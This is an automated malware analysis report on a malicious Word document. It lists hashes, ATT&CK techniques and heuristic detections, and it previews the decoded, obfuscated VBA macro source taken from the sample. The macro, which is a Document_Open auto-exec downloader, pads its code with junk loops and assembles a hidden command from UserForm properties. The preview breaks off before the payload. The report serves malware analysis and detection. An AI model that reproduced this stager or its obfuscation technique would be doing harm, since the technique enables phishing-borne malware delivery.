Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 4ce2464f16c874e5…

MALICIOUS

Office (OLE)

126.5 KB Created: 2019-12-16 06:02:00 Authoring application: Microsoft Office Word First seen: 2020-02-04
MD5: 4cc7a5f95330e0a135de245ac0f61603 SHA-1: c205677310a489c90c61bff5148375c4e15d77e5 SHA-256: 4ce2464f16c874e5febaeb95f2a0b57db0d0be142de759d15925ea2435923095
302 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros, including a Document_Open macro and a UserForm hidden-property command stager, which are indicative of malicious intent. The obfuscated VBA code within the 'macros.bas' script likely attempts to download and execute a second-stage payload, a common technique for malware delivery. The presence of these elements strongly suggests a malicious document, likely delivered via spearphishing.

Heuristics 8

  • ClamAV: Doc.Downloader.Generic-7458295-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-7458295-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 8025 bytes
SHA-256: dc4efcdc7d9c31b7db2a08b57c9d92164d9b3413f800d95aff3a9cec5466c0e4
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Uvaqofqttrsb"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "Bmqsealo, 0, 0, MSForms, TextBox"
Private Sub Document_open()
      Dim Azfhoeaqc
      Dim Isqzceoktc
      For Fepnpkhuxr = Rhxijmicux To 0
         Kvfefrwv = xPI
         Zlekwvqmc = CDbl(3)
         Ozdyqkfvmo = Tan(MyeW5A)
         Oohzkecgvwae = 4 - Fomelpwrvv
         Ogqzbrirq = (3 - Vghawprzzth)
         Iicbxwslydp = Vvjwntjaqxd
         Cdwcnhba = CDbl(6)
         Ohtuccxcsfgu = Tan(Cfnwqskzlxt)
      Next
      Dim Rbtrogdf
      Dim Wmlzrtlpxihhn
      For Utakmiao = Rhxijmicux To 0
         Cahllhlf = xPI
         Ogorrkqq = CDbl(3)
         Jorotmcvpovy = Tan(MyeW5A)
         Ptddmbwcjznnf = 4 - Crjfmtoitrze
         Phqarcygmeh = (3 - Esaghucnw)
         Tdblkmnwgmur = Nguwffyrmjq
         Rkncsvyhob = CDbl(6)
         Zrlpukacstoiq = Tan(Ubrruqbvm)
      Next
      Dim Nfoajilixik
      Dim Kwebstscsmd
      For Ielkxvde = Rhxijmicux To 0
         Sqexvhoevmy = xPI
         Kuemfnvtligah = CDbl(3)
         Kpojjhmkovw = Tan(MyeW5A)
         Iheeogbp = 4 - Yrgvgiyxol
         Fyplqyjpqjsr = (3 - Ebmbvxqg)
         Dmfcpyhjcpbf = Qdfdsozo
         Dwlnpecz = CDbl(6)
         Hdshasbipvcym = Tan(Srnobsobcz)
      Next
Lqizngdbeggk
End Sub

Attribute VB_Name = "Mawupmwl"
Attribute VB_Base = "0{9608EDB6-8842-4916-AEBA-766DAEB9F105}{FEF48F36-CBA4-47B8-9233-53335A8FBE0A}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Gmmpetoxmwxq"
Function Vpcfyhovdm()
      Dim Ccpooxupsfli
      Dim Mnnbmuiai
      For Quxngrqu = Rhxijmicux To 0
         Yufcyzqjbu = xPI
         Haqcstcjbukn = CDbl(3)
         Wblovnov = Tan(MyeW5A)
         Hyousqhlhzmx = 4 - Yxsmjekr
         Doymzfcmnxuu = (3 - Rlnzgyrze)
         Xvbmiipssre = Lcwajajdslvy
         Lhedjqwbka = CDbl(6)
         Pebmpmssn = Tan(Qpexmfjg)
      Next
Ldqstbvqbb = Uvaqofqttrsb.Bmqsealo
      Dim Ywlxevvdiwcdg
      Dim Sfcrbnyrvgs
      For Zieuckqr = Rhxijmicux To 0
         Iwwaelqn = xPI
         Gdtumklaeqqmi = CDbl(3)
         Ashbwpwma = Tan(MyeW5A)
         Fnufetjovvoj = 4 - Yqnqnvncwdt
         Mjjrsarfyg = (3 - Xduxilizky)
         Vnxhcqqmuh = Ldviqmaj
         Pssenrlk = CDbl(6)
         Kawecjchpmr = Tan(Qmfpziyyp)
      Next
Mlznilmqsm = Ldqstbvqbb + Mawupmwl.Aszghkyljgi + Mawupmwl.Uvjzaxajmj + Mawupmwl.Yvlpohzng
      Dim Sapkzkzg
      Dim Ykuwyidzu
      For Koissezlehn = Rhxijmicux To 0
         Ximjywcefegc = xPI
         Hfkgxpphmgrg = CDbl(3)
         Vybkabzpvuays = Tan(MyeW5A)
         Jcqllsfua = 4 - Dpvgsrqdjgdv
         Trkpfzxfb = (3 - Avuhpeau)
         Jtpcjhpazfgnf = Vevqxxns
         Vwvtbdawikx = CDbl(6)
         Vrifcxxnqcf = Tan(Fdizvaml)
      Next
Tascpscfspi = Mlznilmqsm + Mawupmwl.Ebmmggrqj + Mawupmwl.Afghsmloqj
      Dim Stvaerzuynlr
      Dim Ktecubuoksn
      For Wzxtpbem = Rhxijmicux To 0
         Ooqsusgoc = xPI
         Cphvtdyeic = CDbl(3)
         Ndvbuwqedulpo = Tan(MyeW5A)
         Zveelgsukp = 4 - Xghgfbocozrlr
         Hhdshotyiexb = (3 - Jllwasywognz)
         Zdsmzmlngxqi = Ychauhfof
         Svlsxehlyzfm = CDbl(6)
         Gjweogsp = Tan(Mynfupkycvgrz)
      Next
Vpcfyhovdm = Ejmbonjr + Tascpscfspi + Ejmbonjr
      Dim Kxbltdozpu
      Dim Yojurrpp
      For Ulsjykmiskr = Rhxijmicux To 0
         Nzulsfnr = xPI
         Wotfaumdfu = CDbl(3)
         Qtkfdngc = Tan(MyeW5A)
         Ykvuwgxkdx = 4 - Wveflofhlfilj
         Mczklgkq = (3 - Gxggvrxvsx)
         Xcswzasc = Ufkidmvsle
         Eqzbpnkpremm = CDbl(6)
         Sohkxgzvdbvmo = Tan(Zlkfcxbxxkerv)
      Next
End Function
Function Lqizngdbeggk()
      Dim Bsrs
... (truncated)